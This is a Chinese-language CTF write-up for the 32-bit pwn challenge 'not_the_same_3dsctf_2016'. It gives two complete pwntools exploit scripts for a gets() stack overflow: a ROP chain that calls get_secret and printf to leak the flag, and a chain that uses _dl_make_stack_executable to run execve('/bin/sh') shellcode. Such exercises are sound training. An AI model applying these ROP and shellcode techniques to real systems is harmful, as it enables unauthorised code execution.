【CTF】not_the_same_3dsctf_2016

解题思路

1 先反编译,找到mian函数

undefined4 main(void)
{
  char local_2d [45];
  
  printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
  gets(local_2d);
  return 0;
}

一看到gets,就觉得靠谱了。

2 下一步找可利用函数,构造利用链。随便翻函数列表,没找到system以及/bin/sh,说明没有可以直接获取shell的方法;再继续翻,看到了get_secret函数,以及_dl_make_stack_executable函数,其中
get_secret函数为:

void get_secret(void)
{
  FILE *__stream;
  
  __stream = fopen("flag.txt","r");
  fgets(fl4g,0x2d,__stream);
  fclose(__stream);
  return;
}

可以看到,为获取flag的函数,那说明最低有两条路径可以尝试
1)利用get_secret获取flag
2)利用_dl_make_stack_executable执行shellcode

3 先尝试get_secret,毕竟线索很明显嘛。要利用get_secret需要有以下两个步骤.

  1. 跳转到get_secret执行。
  2. 显示fl4g
    第一步好解决,找到溢出点后直接跳转就行;如何显示fl4g,一个思路就是找到显示函数如main函数中的printf,将参数替换掉就行,这个理论上讲也是常规操作, 在32位上就参数从右到左压栈,然后跟函数地址嘛。谁知我又too young了,不行,分析了一通,发现程序中都是用call xxx的方式调用函数,传参从汇编代码看也不是直接压栈的,而是间接通过esp加减的方式,看的很懵逼,最后成功执行的时候才确定压栈传参可行。好了,剩下就是找gadget了,也是一通折腾,总算找到。脚本如下:
   from pwn import *

elf = ELF('./not_the_same_3dsctf_2016')
#sh = remote('127.0.0.1', 1299)
sh = process('./not_the_same_3dsctf_2016')
#sh.recvuntil('... ') # 没有换行符,不返回...
rop = b'\x90' * 45
rop += p32(0x080489a0) # get_secret
rop += p32(0x0809e3e6) # pop esi,pop edi,ret
rop += p32(0x080eca2d) # fl4g
rop += p32(0x0804f0a0) # printf
rop += p32(0x0807b789) # push esi, call edi
with open('payload.txt', 'wb') as f:
    f.write(rop)
sh.sendline(rop)
print(sh.recvline())
sh.interactive()

4 上面这个方法搞定了,想着复习下_dl_make_stack_executable方式呗,方法与前面get_started_3dsctf_2016那道题基本一样,就是要重新找gadget而已。

from pwn import *

elf = ELF('./not_the_same_3dsctf_2016')
#sh = remote('127.0.0.1', 1299)
sh = process('./not_the_same_3dsctf_2016')
#sh.recvuntil('... ')
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
rop = b'\x90' * 45
rop += p32(0x0806fcca) # pop edx,ret
rop += p32(0x080eafec) # __stack_prot
rop += p32(0x08048b0b) # pop eax,ret 
rop += p32(7) # 7
rop += p32(0x0805586b) # mov dword [edx], eax, ret
rop += p32(0x08048b0b) # pop eax, ret
rop += p32(0x080eafc8) # __libc_stack_end
rop += p32(0x0809ae10) # _dl_make_stack_executable
#rop += p32(0x080494f0) # __libc_csu_fini 栈平衡,32位不需要
rop += p32(0x080b9113) # push esp, ret
rop += shellcode
with open('payloadb.txt', 'wb') as f:
    f.write(rop)

sh.sendline(rop)
sh.interactive()

总结:

到目前为止,基本每道题都有不同的知识点,像本题就需要搞清楚call那个玩意。慢慢学习,慢慢成长。

你可能感兴趣的:(CTF,安全)